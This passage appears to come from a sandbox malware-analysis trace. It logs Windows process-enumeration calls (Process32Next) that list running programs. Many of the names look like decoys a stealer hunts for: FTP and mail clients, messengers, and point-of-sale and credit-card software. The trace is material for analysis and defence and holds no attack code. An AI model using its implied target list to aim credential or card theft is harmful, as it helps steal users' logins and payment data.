th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0259.966] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0259.970] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0259.971] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x14c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0259.973] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x450, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0259.975] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0259.977] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x5bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0259.978] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x618, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2f, th32ParentProcessID=0x604, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0259.980] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x658, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0259.981] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x664, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0259.983] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0259.985] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x80c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x26, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="SkypeHost.exe")) returned 1 [0259.987] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x8f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0259.988] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x9a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0259.990] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0259.992] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xb60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0259.994] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xcc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0259.995] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0259.997] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIADAP.exe")) returned 1 [0259.998] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x614, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0260.001] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x6f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0260.180] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0260.183] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0260.185] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x49c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0260.187] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0260.190] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x88c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="applyourstrategy.exe")) returned 1 [0260.192] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1078, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="task.exe")) returned 1 [0260.194] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1090, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="account.exe")) returned 1 [0260.197] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1098, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="shot_hot.exe")) returned 1 [0260.200] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="coursesimilararea.exe")) returned 1 [0260.203] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="yardbe.exe")) returned 1 [0260.205] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="instead_able_light.exe")) returned 1 [0260.207] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="chance_everybody_employee.exe")) returned 1 [0260.210] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="right-forget.exe")) returned 1 [0260.212] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="source.exe")) returned 1 [0260.214] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="on-walk.exe")) returned 1 [0260.216] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="if-return.exe")) returned 1 [0260.219] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x110c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="five_add_too.exe")) returned 1 [0260.221] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1114, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="his.exe")) returned 1 [0260.223] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="product_republican_amount.exe")) returned 1 [0260.225] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1134, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="green_hard_wind.exe")) returned 1 [0260.227] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x113c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="cause.exe")) returned 1 [0260.230] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="wall_oil.exe")) returned 1 [0260.233] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1154, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="stock_decide_improve.exe")) returned 1 [0260.235] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x115c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="hundred_marriage.exe")) returned 1 [0260.238] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1180, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0260.241] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0260.244] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0260.246] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0260.249] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0260.287] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0260.290] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0260.292] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0260.295] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0260.298] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0260.302] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1204, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0260.306] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x120c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0260.309] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x121c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0260.312] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1224, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0260.315] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1234, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0260.335] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x123c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0260.338] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x124c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0260.340] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="outlook.exe")) returned 1 [0260.343] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1260, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0260.346] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1268, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0260.349] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x127c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0260.351] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1284, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0260.355] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0260.357] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x129c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0260.362] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0260.365] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0260.368] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0260.370] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0260.373] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0260.375] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0260.379] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0260.382] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1300, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0260.384] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1308, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0260.387] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0260.390] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1320, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0260.392] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1330, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0260.395] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0260.398] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1348, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0260.400] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1350, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0260.402] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: 